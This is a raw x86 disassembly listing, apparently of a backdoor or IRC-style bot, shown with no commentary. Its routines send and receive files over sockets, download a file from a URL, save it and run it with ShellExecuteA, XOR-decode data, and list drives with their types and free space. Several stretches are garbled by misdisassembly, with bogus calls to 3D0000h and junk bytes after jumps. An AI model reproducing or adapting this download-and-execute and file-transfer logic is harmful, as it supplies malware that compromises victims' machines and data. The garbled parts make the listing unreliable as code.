		lea	eax, [ebp-20h]
		push	esi
		push	eax
		lea	eax, [ebp-0A04h]
		push	dword ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-8]
		call	ds:dword_421068	; ReadFile
		push	esi
		lea	eax, [ebp-0A04h]
		push	dword ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-1F8h]
		call	ds:dword_43A3C8	; send
		mov	[ebp-4], eax
		push	esi
		cdq
		add	[ebp-10h], eax
		lea	eax, [ebp-0A04h]
		push	edi
		push	eax
		push	dword ptr [ebp-1F8h]
		adc	[ebp-0Ch], edx
		call	ds:dword_43A390	; recv
		cmp	eax, ebx
		jl	near ptr loc_40BA56+1
		mov	eax, [ebp-4]
		cmp	eax, ebx
		jl	near ptr loc_40BA56+1
		sub	[ebp+8], eax
		jnz	loc_40B925
		mov	edi, [ebp-18h]


loc_40B9C2:				; CODE XREF: seg000:0040B91Aj
		push	dword ptr [ebp-8]
		call	ds:dword_42106C	; CloseHandle
		push	dword ptr [ebp-0Ch]
		push	dword ptr [ebp-10h]
		call	sub_40C1FC
		pop	ecx
		pop	ecx
		push	eax
		lea	eax, [ebp-1E0h]
		push	eax
		push	dword ptr [ebp-44h]
		call	ds:dword_43A404	; inet_ntoa
		push	eax
		lea	eax, [ebp-3FCh]
		push	offset dword_42BB28
		push	eax
		call	sub_4154CD


loc_40B9FB:				; CODE XREF: seg000:0040B8D2j
		add	esp, 14h


loc_40B9FE:				; CODE XREF: seg000:0040B90Bj
		cmp	[ebp-50h], esi
		jnz	short loc_40BA23
		push	esi
		lea	eax, [ebp-3FCh]
		push	dword ptr [ebp-54h]
		push	eax
		lea	eax, [ebp-0DCh]
		push	eax
		push	dword ptr [ebp-1FCh]
		call	sub_412D32
		add	esp, 14h


loc_40BA23:				; CODE XREF: seg000:0040BA01j
		lea	eax, [ebp-3FCh]
		push	eax
		call	sub_40B151
		cmp	edi, esi
		pop	ecx
		jbe	short loc_40BA3B
		push	edi
		call	ds:dword_43A410	; closesocket


loc_40BA3B:				; CODE XREF: seg000:0040BA32j
		push	dword ptr [ebp-1F8h]
		call	ds:dword_43A410	; closesocket
		push	dword ptr [ebp-58h]
		call	sub_415295
		pop	ecx
		push	esi
		call	near ptr 3D0000h


loc_40BA56:				; CODE XREF: seg000:0040B9A5j
					; seg000:0040B9B0j
		sub	[esi-42h], dl
		cld
		mov	edx, 75FF0042h
		lodsb
		lea	eax, [ebp-0DCh]
		push	esi
		push	eax
		push	dword ptr [ebp-1FCh]
		call	sub_412D32
		push	esi
		call	sub_40B151
		add	esp, 18h
		push	dword ptr [ebp-1F8h]
		call	ds:dword_43A410	; closesocket
		push	dword ptr [ebp-58h]
		call	sub_415295
		pop	ecx
		push	ebx
		call	near ptr 3D0000h
		aam	55h
		mov	ebp, esp
		mov	eax, 14C4h
		call	sub_415D50
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		push	6Dh
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp-1C0h]
		rep movsd
		push	1
		xor	ebx, ebx
		pop	esi
		mov	[ebp-8], ebx
		mov	[eax+1B0h], esi
		lea	eax, [ebp-2C4h]
		push	104h
		push	eax
		call	near ptr 3D0000h
		xchg	eax, ebp
		lea	eax, [ebp-1A4h]
		push	eax
		lea	eax, [ebp-2C4h]
		push	eax
		lea	eax, [ebp-2C4h]
		push	offset aSS_2	; "%s%s"
		push	eax
		call	sub_4154CD
		add	esp, 10h
		lea	eax, [ebp-2C4h]
		push	ebx
		push	80h
		push	2
		push	ebx
		push	esi
		push	40000000h
		push	eax
		call	ds:dword_421078	; CreateFileA
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40BB22
		push	offset dword_42BD6C
		jmp	short loc_40BB68
; ---------------------------------------------------------------------------


loc_40BB22:				; CODE XREF: seg000:0040BB19j
		push	eax
		call	ds:dword_42106C	; CloseHandle
		lea	eax, [ebp-2C4h]
		push	offset aAB	; "a+b"
		push	eax
		call	sub_415BC8
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp-4], eax
		jnz	short loc_40BB4A
		push	offset dword_42BD28
		jmp	short loc_40BB68
; ---------------------------------------------------------------------------


loc_40BB4A:				; CODE XREF: seg000:0040BB41j
		push	dword ptr [ebp-20h]
		lea	eax, [ebp-1B8h]
		push	eax
		call	sub_40B4AF
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		mov	[ebp+8], eax
		jnz	short loc_40BB7B
		push	offset dword_42BCF4


loc_40BB68:				; CODE XREF: seg000:0040BB20j
					; seg000:0040BB48j
		lea	eax, [ebp-4C4h]
		push	eax
		call	sub_4154CD
		pop	ecx
		pop	ecx
		jmp	loc_40BC75
; ---------------------------------------------------------------------------


loc_40BB7B:				; CODE XREF: seg000:0040BB61j
		mov	esi, 1000h


loc_40BB80:				; CODE XREF: seg000:0040BBE6j
		push	esi
		lea	eax, [ebp-14C4h]
		push	ebx
		push	eax
		call	sub_415550
		add	esp, 0Ch
		lea	eax, [ebp-14C4h]
		push	ebx
		push	esi
		push	eax
		push	dword ptr [ebp+8]
		call	ds:dword_43A390	; recv
		mov	edi, eax
		cmp	edi, ebx
		jz	near ptr loc_40BC46+1
		cmp	edi, 0FFFFFFFFh
		jz	short loc_40BBE8
		push	dword ptr [ebp-4]
		lea	eax, [ebp-14C4h]
		push	edi
		push	1
		push	eax
		call	sub_4175DF
		add	[ebp-8], edi
		add	esp, 10h
		push	dword ptr [ebp-8]
		call	ds:dword_43A374	; ntohl
		mov	[ebp-0Ch], eax
		push	ebx
		lea	eax, [ebp-0Ch]
		push	4
		push	eax
		push	dword ptr [ebp+8]
		call	ds:dword_43A3C8	; send
		jmp	short loc_40BB80
; ---------------------------------------------------------------------------


loc_40BBE8:				; CODE XREF: seg000:0040BBB0j
		lea	eax, [ebp-4C4h]
		push	offset dword_42BAFC
		push	eax
		call	sub_4154CD
		push	ebx
		lea	eax, [ebp-4C4h]
		push	dword ptr [ebp-18h]
		push	eax
		lea	eax, [ebp-0A0h]
		push	eax
		push	dword ptr [ebp-1C0h]
		call	sub_412D32
		lea	eax, [ebp-4C4h]
		push	eax
		call	sub_40B151
		push	dword ptr [ebp-4]
		call	sub_415B20
		add	esp, 24h
		push	dword ptr [ebp+8]
		call	ds:dword_43A410	; closesocket
		push	dword ptr [ebp-1Ch]
		call	sub_415295
		pop	ecx
		push	1
		call	near ptr 3D0000h


loc_40BC46:				; CODE XREF: seg000:0040BBA7j
		add	eax, 99F8458Bh
		push	edx
		push	eax
		call	sub_40C1FC
		push	eax
		lea	eax, [ebp-1A4h]
		push	eax
		lea	eax, [ebp-1B8h]
		push	eax
		lea	eax, [ebp-4C4h]
		push	offset dword_42BC9C
		push	eax
		call	sub_4154CD
		add	esp, 1Ch


loc_40BC75:				; CODE XREF: seg000:0040BB76j
		cmp	[ebp-14h], ebx
		jnz	short loc_40BC9A
		push	ebx
		lea	eax, [ebp-4C4h]
		push	dword ptr [ebp-18h]
		push	eax
		lea	eax, [ebp-0A0h]
		push	eax
		push	dword ptr [ebp-1C0h]
		call	sub_412D32
		add	esp, 14h


loc_40BC9A:				; CODE XREF: seg000:0040BC78j
		lea	eax, [ebp-4C4h]
		push	eax
		call	sub_40B151
		cmp	[ebp-4], ebx
		pop	ecx
		jz	short loc_40BCB5
		push	dword ptr [ebp-4]
		call	sub_415B20
		pop	ecx


loc_40BCB5:				; CODE XREF: seg000:0040BCAAj
		cmp	[ebp+8], ebx
		jbe	short loc_40BCC3
		push	dword ptr [ebp+8]
		call	ds:dword_43A410	; closesocket


loc_40BCC3:				; CODE XREF: seg000:0040BCB8j
		push	dword ptr [ebp-1Ch]
		call	sub_415295
		pop	ecx
		push	ebx
		call	near ptr 3D0000h
		mov	[ebp-75h], dl
		in	al, dx
		sub	esp, 510h
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		mov	ecx, 0AAh
		mov	esi, eax
		lea	edi, [ebp-2CCh]
		push	1
		rep movsd
		pop	edi
		xor	esi, esi
		push	esi
		mov	[eax+2A4h], edi
		push	esi
		push	esi
		lea	eax, [ebp-248h]
		push	esi
		push	eax
		push	ds:dword_43A328
		call	ds:dword_43A288	; InternetOpenUrlA
		cmp	eax, esi
		mov	[ebp-18h], eax
		jz	loc_40C15F
		push	esi
		push	esi
		push	2
		push	esi
		push	esi
		lea	eax, [ebp-148h]
		push	40000000h
		push	eax
		call	ds:dword_421078	; CreateFileA
		cmp	eax, edi
		mov	[ebp-20h], eax
		jnb	short loc_40BD9A
		lea	eax, [ebp-148h]
		push	eax
		lea	eax, [ebp-510h]
		push	offset unk_42C028
		push	eax
		call	sub_4154CD
		add	esp, 0Ch
		cmp	[ebp-30h], esi
		jnz	short loc_40BD7D
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_412D32
		add	esp, 14h


loc_40BD7D:				; CODE XREF: seg000:0040BD5Bj
		lea	eax, [ebp-510h]
		push	eax
		call	sub_40B151
		push	dword ptr [ebp-48h]
		call	sub_415295
		pop	ecx
		pop	ecx
		push	esi
		call	near ptr 3D0000h
		setalc


loc_40BD9A:				; CODE XREF: seg000:0040BD3Bj
		xor	edi, edi
		call	ds:dword_42104C	; GetTickCount
		mov	ebx, 7D000h
		mov	[ebp-4], eax
		push	ebx
		call	sub_415DA9
		pop	ecx
		mov	[ebp-1Ch], eax


loc_40BDB4:				; CODE XREF: seg000:0040BE87j
		push	200h
		lea	eax, [ebp-510h]
		push	esi
		push	eax
		call	sub_415550
		add	esp, 0Ch
		lea	eax, [ebp+8]
		push	eax
		lea	eax, [ebp-510h]
		push	200h
		push	eax
		push	dword ptr [ebp-18h]
		call	ds:dword_43A290	; InternetReadFile
		cmp	[ebp-34h], esi
		jz	short loc_40BDF8
		push	dword ptr [ebp+8]
		lea	eax, [ebp-510h]
		push	eax
		call	near ptr loc_40C1C4+1
		pop	ecx
		pop	ecx


loc_40BDF8:				; CODE XREF: seg000:0040BDE5j
		lea	eax, [ebp-24h]
		push	esi
		push	eax
		lea	eax, [ebp-510h]
		push	dword ptr [ebp+8]
		push	eax
		push	dword ptr [ebp-20h]
		call	near ptr 3D0000h
		dec	ecx
		cmp	edi, ebx
		jnb	short loc_40BE36
		mov	eax, ebx
		sub	eax, edi
		cmp	eax, [ebp+8]
		jbe	short loc_40BE20
		mov	eax, [ebp+8]


loc_40BE20:				; CODE XREF: seg000:0040BE1Bj
		push	eax
		lea	eax, [ebp-510h]
		push	eax
		mov	eax, [ebp-1Ch]
		add	eax, edi
		push	eax
		call	sub_4155B0
		add	esp, 0Ch


loc_40BE36:				; CODE XREF: seg000:0040BE12j
		add	edi, [ebp+8]
		cmp	[ebp-3Ch], esi
		jz	short loc_40BE43
		cmp	edi, [ebp-3Ch]
		ja	short loc_40BE8D


loc_40BE43:				; CODE XREF: seg000:0040BE3Cj
		cmp	dword ptr [ebp-44h], 1
		mov	eax, edi
		jz	short loc_40BE5D
		shr	eax, 0Ah
		push	eax
		lea	eax, [ebp-248h]
		push	eax
		push	offset unk_42BFDC
		jmp	short loc_40BE6D
; ---------------------------------------------------------------------------


loc_40BE5D:				; CODE XREF: seg000:0040BE49j
		shr	eax, 0Ah
		push	eax
		lea	eax, [ebp-248h]
		push	eax
		push	offset unk_42BF98


loc_40BE6D:				; CODE XREF: seg000:0040BE5Bj
		mov	eax, [ebp-48h]
		imul	eax, 234h
		add	eax, offset dword_43F308
		push	eax
		call	sub_4154CD
		add	esp, 10h
		cmp	[ebp+8], esi
		ja	loc_40BDB4


loc_40BE8D:				; CODE XREF: seg000:0040BE41j
		cmp	[ebp-3Ch], esi
		mov	dword ptr [ebp-14h], 1
		jz	short loc_40BEE2
		cmp	edi, [ebp-3Ch]
		jz	short loc_40BEE2
		push	dword ptr [ebp-3Ch]
		lea	eax, [ebp-510h]
		mov	[ebp-14h], esi
		push	edi
		push	offset unk_42BF50
		push	eax
		call	sub_4154CD
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_412D32
		lea	eax, [ebp-510h]
		push	eax
		call	sub_40B151
		add	esp, 28h


loc_40BEE2:				; CODE XREF: seg000:0040BE97j
					; seg000:0040BE9Cj
		call	ds:dword_42104C	; GetTickCount
		sub	eax, [ebp-4]
		xor	edx, edx
		mov	ecx, 3E8h
		push	dword ptr [ebp-20h]
		div	ecx
		xor	edx, edx
		mov	ecx, eax
		mov	eax, edi
		inc	ecx
		div	ecx
		mov	ebx, eax
		call	ds:dword_42106C	; CloseHandle
		push	dword ptr [ebp-1Ch]
		call	sub_415E1D
		cmp	[ebp-38h], esi
		pop	ecx
		jz	short loc_40BF6C
		lea	eax, [ebp-148h]
		push	eax
		call	sub_40B43D
		cmp	eax, [ebp-38h]
		pop	ecx
		jz	short loc_40BF6C
		push	dword ptr [ebp-38h]
		mov	[ebp-14h], esi
		push	eax
		lea	eax, [ebp-510h]
		push	offset unk_42BF14
		push	eax
		call	sub_4154CD
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_412D32
		lea	eax, [ebp-510h]
		push	eax
		call	sub_40B151
		add	esp, 28h


loc_40BF6C:				; CODE XREF: seg000:0040BF14j
					; seg000:0040BF26j
		cmp	[ebp-14h], esi
		jz	loc_40C1AC
		cmp	dword ptr [ebp-44h], 1
		jz	loc_40C067
		mov	[ebp-8], ebx
		mov	[ebp-4], esi
		fild	qword ptr [ebp-8]
		push	ecx
		push	ecx
		mov	[ebp-8], edi
		mov	[ebp-4], esi
		fmul	ds:dbl_421660
		lea	eax, [ebp-148h]
		fstp	qword ptr [esp]
		fild	qword ptr [ebp-8]
		push	eax
		push	ecx
		push	ecx
		lea	eax, [ebp-510h]
		fmul	ds:dbl_421660
		fstp	qword ptr [esp]
		push	offset unk_42BEC8
		push	eax
		call	sub_4154CD
		add	esp, 1Ch
		cmp	[ebp-30h], esi
		jnz	short loc_40BFE7
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_412D32
		add	esp, 14h


loc_40BFE7:				; CODE XREF: seg000:0040BFC5j
		lea	eax, [ebp-510h]
		push	eax
		call	sub_40B151
		cmp	dword ptr [ebp-40h], 1
		pop	ecx
		jnz	loc_40C1AC
		push	5
		push	esi
		lea	eax, [ebp-148h]
		push	esi
		push	eax
		push	offset aOpen	; "open"
		push	esi
		call	ds:dword_43A2EC	; ShellExecuteA
		cmp	[ebp-30h], esi
		jnz	loc_40C1AC
		lea	eax, [ebp-148h]
		push	eax
		lea	eax, [ebp-510h]
		push	offset dword_42BE90
		push	eax
		call	sub_4154CD
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_412D32
		lea	eax, [ebp-510h]
		push	eax
		call	sub_40B151
		add	esp, 24h
		jmp	loc_40C1AC
; ---------------------------------------------------------------------------


loc_40C067:				; CODE XREF: seg000:0040BF79j
		mov	[ebp-8], ebx
		mov	[ebp-4], esi
		fild	qword ptr [ebp-8]
		push	ecx
		push	ecx
		mov	[ebp-8], edi
		mov	[ebp-4], esi
		fmul	ds:dbl_421660
		lea	eax, [ebp-148h]
		fstp	qword ptr [esp]
		fild	qword ptr [ebp-8]
		push	eax
		push	ecx
		push	ecx
		lea	eax, [ebp-510h]
		fmul	ds:dbl_421660
		fstp	qword ptr [esp]
		push	offset unk_42BE3C
		push	eax
		call	sub_4154CD
		add	esp, 1Ch
		cmp	[ebp-30h], esi
		jnz	short loc_40C0CF
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_412D32
		add	esp, 14h


loc_40C0CF:				; CODE XREF: seg000:0040C0ADj
		lea	eax, [ebp-510h]
		push	eax
		call	sub_40B151
		push	10h
		lea	eax, [ebp-10h]
		push	esi
		push	eax
		call	sub_415550
		push	44h
		lea	eax, [ebp-310h]
		pop	edi
		push	edi
		push	esi
		push	eax
		call	sub_415550
		add	esp, 1Ch
		mov	[ebp-310h], edi
		lea	eax, [ebp-10h]
		mov	dword ptr [ebp-304h], offset byte_438F9C
		push	1
		mov	[ebp-2E0h], si
		pop	edi
		push	eax
		lea	eax, [ebp-310h]
		push	eax
		push	esi
		push	esi
		push	28h
		push	esi
		push	esi
		lea	eax, [ebp-148h]
		push	esi
		push	eax
		push	esi
		mov	[ebp-2E4h], edi
		call	near ptr 3D0000h
		ffreep	st(7)		; (emulator call)
		jnz	short loc_40C151
		call	ds:dword_43A2D8	; WSACleanup
		call	sub_409DF9
		push	esi
		call	ds:dword_421114	; ExitProcess


loc_40C151:				; CODE XREF: seg000:0040C13Dj
		lea	eax, [ebp-148h]
		push	eax
		push	offset unk_42BDF0
		jmp	short loc_40C16B
; ---------------------------------------------------------------------------


loc_40C15F:				; CODE XREF: seg000:0040BD18j
		lea	eax, [ebp-248h]
		push	eax
		push	offset unk_42BDB0


loc_40C16B:				; CODE XREF: seg000:0040C15Dj
		lea	eax, [ebp-510h]
		push	eax
		call	sub_4154CD
		add	esp, 0Ch
		cmp	[ebp-30h], esi
		jnz	short loc_40C19F
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_412D32
		add	esp, 14h


loc_40C19F:				; CODE XREF: seg000:0040C17Dj
		lea	eax, [ebp-510h]
		push	eax
		call	sub_40B151
		pop	ecx


loc_40C1AC:				; CODE XREF: seg000:0040BF6Fj
					; seg000:0040BFF8j ...
		push	dword ptr [ebp-18h]
		call	ds:dword_43A3AC	; InternetCloseHandle
		push	dword ptr [ebp-48h]
		call	sub_415295
		pop	ecx
		push	esi
		call	near ptr 3D0000h


loc_40C1C4:				; CODE XREF: seg000:0040BDF1p
		dec	byte ptr [ebx+33042444h]
		leave
		cmp	[esp+8], ecx
		jle	short locret_40C1E1


loc_40C1D1:				; CODE XREF: seg000:0040C1DFj
		mov	dl, ds:byte_42C164
		xor	[ecx+eax], dl
		inc	ecx
		cmp	ecx, [esp+8]
		jl	short loc_40C1D1

locret_40C1E1:				; CODE XREF: seg000:0040C1CFj
		retn

; =============== S U B	R O U T	I N E =======================================



sub_40C1E2	proc near		; CODE XREF: seg000:0040F775p
					; seg000:0040F8CCp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	sub_4176E9
		pop	ecx
		pop	ecx
		xor	ecx, ecx
		cmp	eax, 0FFFFFFFFh
		setnz	cl
		mov	eax, ecx
		retn
sub_40C1E2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C1FC	proc near		; CODE XREF: seg000:004067F1p
					; seg000:0040698Dp ...

var_38		= byte ptr -38h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 38h
		and	[ebp+var_4], 0
		push	ebx
		push	esi
		push	edi
		push	32h
		mov	edi, offset dword_43E748
		push	0
		push	edi
		call	sub_415550
		mov	ebx, [ebp+arg_0]
		add	esp, 0Ch
		lea	esi, [ebp+var_38]


loc_40C221:				; CODE XREF: sub_40C1FC+5Bj
					; sub_40C1FC+61j
		push	0
		push	0Ah
		push	[ebp+arg_4]
		push	ebx
		call	sub_417240
		push	0
		push	0Ah
		push	[ebp+arg_4]
		add	al, 30h
		mov	[esi], al
		inc	esi
		push	ebx
		call	sub_4172C0
		mov	ebx, eax
		or	eax, edx
		mov	[ebp+arg_4], edx
		jz	short loc_40C25F
		inc	[ebp+var_4]
		push	3
		mov	eax, [ebp+var_4]
		pop	ecx
		cdq
		idiv	ecx
		test	edx, edx
		jnz	short loc_40C221
		mov	byte ptr [esi],	2Ch
		inc	esi
		jmp	short loc_40C221
; ---------------------------------------------------------------------------


loc_40C25F:				; CODE XREF: sub_40C1FC+4Bj
		dec	esi
		mov	eax, edi


loc_40C262:				; CODE XREF: sub_40C1FC+73j
		lea	ecx, [ebp+var_38]
		cmp	esi, ecx
		jb	short loc_40C271
		mov	cl, [esi]
		mov	[eax], cl
		inc	eax
		dec	esi
		jmp	short loc_40C262
; ---------------------------------------------------------------------------


loc_40C271:				; CODE XREF: sub_40C1FC+6Bj
		and	byte ptr [eax],	0
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40C1FC	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C27B	proc near		; CODE XREF: sub_40C427+51p
					; sub_40C427+87p

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	ds:dword_43A3D8	; GetDriveTypeA
		sub	eax, 0
		jz	short loc_40C2BE
		dec	eax
		jz	short loc_40C2B8
		dec	eax
		dec	eax
		jz	short loc_40C2B2
		dec	eax
		jz	short loc_40C2AC
		dec	eax
		jz	short loc_40C2A6
		dec	eax
		jz	short loc_40C2A0
		mov	eax, offset word_42B78C
		retn
; ---------------------------------------------------------------------------


loc_40C2A0:				; CODE XREF: sub_40C27B+1Dj
		mov	eax, offset aRam ; "RAM"
		retn
; ---------------------------------------------------------------------------


loc_40C2A6:				; CODE XREF: sub_40C27B+1Aj
		mov	eax, offset aCdrom ; "Cdrom"
		retn
; ---------------------------------------------------------------------------


loc_40C2AC:				; CODE XREF: sub_40C27B+17j
		mov	eax, offset aNetwork ; "Network"
		retn
; ---------------------------------------------------------------------------


loc_40C2B2:				; CODE XREF: sub_40C27B+14j
		mov	eax, offset aDisk ; "Disk"
		retn
; ---------------------------------------------------------------------------


loc_40C2B8:				; CODE XREF: sub_40C27B+10j
		mov	eax, offset aInvalid ; "Invalid"
		retn
; ---------------------------------------------------------------------------


loc_40C2BE:				; CODE XREF: sub_40C27B+Dj
		mov	eax, offset aUnknown ; "Unknown"
		retn
sub_40C27B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C2C4	proc near		; CODE XREF: sub_40C30C+12p

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		or	eax, 0FFFFFFFFh
		mov	[ebp+var_18], eax
		mov	[ebp+var_14], eax
		mov	[ebp+var_10], eax
		mov	[ebp+var_C], eax
		mov	[ebp+var_8], eax
		mov	[ebp+var_4], eax
		mov	eax, ds:dword_43A274
		test	eax, eax
		jz	short loc_40C2F9
		lea	ecx, [ebp+var_10]
		push	ecx
		lea	ecx, [ebp+var_8]
		push	ecx
		lea	ecx, [ebp+var_18]
		push	ecx
		push	[ebp+arg_4]
		call	eax	; GetDiskFreeSpaceExA


loc_40C2F9:				; CODE XREF: sub_40C2C4+22j
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	6
		pop	ecx
		lea	esi, [ebp+var_18]
		mov	edi, eax
		rep movsd
		pop	edi
		pop	esi
		leave
		retn
sub_40C2C4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C30C	proc near		; CODE XREF: sub_40AAB5+1F3p
					; sub_40C427+17p

var_198		= byte ptr -198h
var_118		= byte ptr -118h
var_98		= byte ptr -98h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 198h
		push	esi
		push	edi
		push	[ebp+arg_4]
		lea	eax, [ebp+var_18]
		push	eax
		call	sub_40C2C4
		pop	ecx
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_18]
		push	6
		pop	ecx
		rep movsd
		mov	eax, [ebp+var_18]
		and	eax, [ebp+var_14]
		cmp	eax, 0FFFFFFFFh
		jz	loc_40C3E4
		mov	eax, [ebp+var_10]
		and	eax, [ebp+var_C]
		cmp	eax, 0FFFFFFFFh
		jz	loc_40C3E4
		mov	eax, [ebp+var_8]
		and	eax, [ebp+var_4]
		cmp	eax, 0FFFFFFFFh
		jz	loc_40C3E4
		push	ebx
		mov	ebx, 400h
		push	0
		push	ebx
		push	[ebp+var_14]
		push	[ebp+var_18]
		call	sub_417730
		push	edx
		push	eax
		call	sub_40C1FC
		mov	edi, offset aSkb ; "%sKB"
		push	eax
		mov	esi, 80h
		push	edi
		lea	eax, [ebp+var_198]
		push	esi
		push	eax
		call	sub_415A4A
		add	esp, 18h
		push	0
		push	ebx
		push	[ebp+var_C]
		push	[ebp+var_10]
		call	sub_417730
		push	edx
		push	eax
		call	sub_40C1FC
		push	eax
		push	edi
		lea	eax, [ebp+var_118]
		push	esi
		push	eax
		call	sub_415A4A
		add	esp, 18h
		push	0
		push	ebx
		push	[ebp+var_4]
		push	[ebp+var_8]
		call	sub_417730
		push	edx
		push	eax
		call	sub_40C1FC
		push	eax
		push	edi
		lea	eax, [ebp+var_98]
		push	esi
		push	eax
		call	sub_415A4A
		add	esp, 18h
		pop	ebx
		jmp	short loc_40C413
; ---------------------------------------------------------------------------


loc_40C3E4:				; CODE XREF: sub_40C30C+2Cj
					; sub_40C30C+3Bj ...
		mov	esi, offset aFailed ; "failed"
		lea	eax, [ebp+var_198]
		push	esi
		push	eax
		call	sub_4154CD
		lea	eax, [ebp+var_118]
		push	esi
		push	eax
		call	sub_4154CD
		lea	eax, [ebp+var_98]
		push	esi
		push	eax
		call	sub_4154CD
		add	esp, 18h


loc_40C413:				; CODE XREF: sub_40C30C+D6j
		mov	eax, [ebp+arg_0]
		push	60h
		pop	ecx
		lea	esi, [ebp+var_198]
		mov	edi, eax
		rep movsd
		pop	edi
		pop	esi
		leave
		retn
sub_40C30C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C427	proc near		; CODE XREF: sub_40C4F9+17p
					; sub_40C4F9+60p

var_500		= byte ptr -500h
var_300		= byte ptr -300h
var_180		= byte ptr -180h
var_100		= byte ptr -100h
var_80		= byte ptr -80h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 500h
		push	ebx
		mov	ebx, [ebp+arg_C]
		push	esi
		push	edi
		lea	eax, [ebp+var_300]
		push	ebx
		push	eax
		call	sub_40C30C
		push	60h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_300]
		rep movsd
		push	60h
		lea	esi, [ebp+var_300]
		pop	ecx
		lea	edi, [ebp+var_180]
		lea	eax, [ebp+var_80]
		push	offset aFailed	; "failed"
		rep movsd
		push	eax
		call	sub_4158F0
		add	esp, 10h
		test	eax, eax
		jnz	short loc_40C49A
		push	ebx
		push	ebx
		call	sub_40C27B
		pop	ecx
		push	eax
		push	offset dword_42C0F0
		lea	eax, [ebp+var_500]
		push	200h
		push	eax
		call	sub_415A4A
		add	esp, 14h
		jmp	short loc_40C4CE
; ---------------------------------------------------------------------------


loc_40C49A:				; CODE XREF: sub_40C427+4Dj
		lea	eax, [ebp+var_180]
		push	eax
		lea	eax, [ebp+var_100]
		push	eax
		lea	eax, [ebp+var_80]
		push	eax
		push	ebx
		push	ebx
		call	sub_40C27B
		pop	ecx
		push	eax
		push	offset dword_42C0A0
		lea	eax, [ebp+var_500]
		push	200h
		push	eax
		call	sub_415A4A
		add	esp, 20h


loc_40C4CE:				; CODE XREF: sub_40C427+71j
		push	1
		lea	eax, [ebp+var_500]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_412D32
		lea	eax, [ebp+var_500]
		push	eax
		call	sub_40B151
		add	esp, 18h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40C427	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C4F9	proc near		; CODE XREF: seg000:00412051p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ebx
		xor	ebx, ebx
		cmp	[ebp+arg_C], ebx
		jz	short loc_40C51A
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40C427
		add	esp, 10h
		jmp	short loc_40C57B
; ---------------------------------------------------------------------------


loc_40C51A:				; CODE XREF: sub_40C4F9+9j
		push	esi
		push	edi
		push	ebx
		push	ebx
		call	ds:dword_43A2E8	; GetLogicalDriveStringsA
		lea	esi, [eax+2]
		push	esi
		call	sub_415DA9
		pop	ecx
		mov	edi, eax
		push	edi
		push	esi
		call	ds:dword_43A2E8	; GetLogicalDriveStringsA
		cmp	[edi], bl
		mov	esi, edi
		jz	short loc_40C572


loc_40C53E:				; CODE XREF: sub_40C4F9+77j
		push	offset aA_0	; "A:\\"
		push	esi
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40C561
